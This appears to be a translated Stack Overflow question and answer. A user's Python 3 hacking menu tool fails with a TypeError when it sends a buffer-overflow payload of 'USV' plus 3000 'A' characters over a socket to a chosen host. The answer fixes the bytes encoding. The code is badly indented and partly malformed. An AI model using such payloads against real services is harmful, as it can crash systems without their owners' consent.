2017-08-28 104 views
0

我最近一直在處理某人的項目。在嘗試導入一個簡單的緩衝區溢出攻擊時,我遇到了一個我似乎無法找到解決方案的問題。我在StackOverflow上進行了搜索,詢問LiveOverFlow(Heh。尋找來自2溢出的關於溢出的答案。) 下面將是溢出代碼和2個帶有錯誤的圖片。TypeError:'str'不支持緩衝區接口 - Python3套接字

import sys 
import socket 






def cmdline(): 
    sys.stdout.write(RED) 
    cmdinput = input("NSEFW >> ") #<---- PS1 





    def ExploitSimpleBufferOverflow(): 

    sys.stdout.write(CYAN2) 
    host = input("Enter the host IP: ") 
    port = int(input("Enter the host port: ")) 
    sys.stdout.write(RESET) 

    for carg in sys.argv: 
    if carg == "-s": 
     argnum = sys.argv.index(carg) 
     argnum += 1 
     host = sys.argv[argnum] 

    elif carg == "-p": 
     argnum = sys.argv.index(carg) 
     argnum += 1 
     port = sys.argv[argnum] 

    buffer = "\x41"* 3000 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    s.connect((host,port)) 
    s.send("USV" + buffer + "//r//n//r") 
    s.close 
    print('Exploit send succesfully.\n', end="") 



    #Lists all avaible exploits. 



    elif cmdinput.lower() == "list exploits": 
     sys.stdout.write(RESET) 
     print('\n\nto use an exploit, type "use <name>"\n', end="") 
     print(' \n', end="") 
     sys.stdout.write(WHITE) 
     print('\nSimple_Buffer_Overflow (esbo)  ', end="") 
     sys.stdout.write(RED) 
     print('[M] ', end="") 
     sys.stdout.write(BLUE) 
     print('[D]', end="") 
     print(' \n', end="") 



    #Callout for SimpleBufferOverflow exploit. 



    elif cmdinput.lower() == "use exploit_simple_buffer_overflow": 
     ExploitSimpleBufferOverflow() 

    elif cmdinput.lower() == "use esbo": 
     ExploitSimpleBufferOverflow() 

Error without encode. Error with encode.

回答

1

你需要的不只是buffer要以字節爲單位,但頭部和尾部字串。這應該工作:

s.send(("USV" + buffer + "//r//n//r").encode('utf-8'))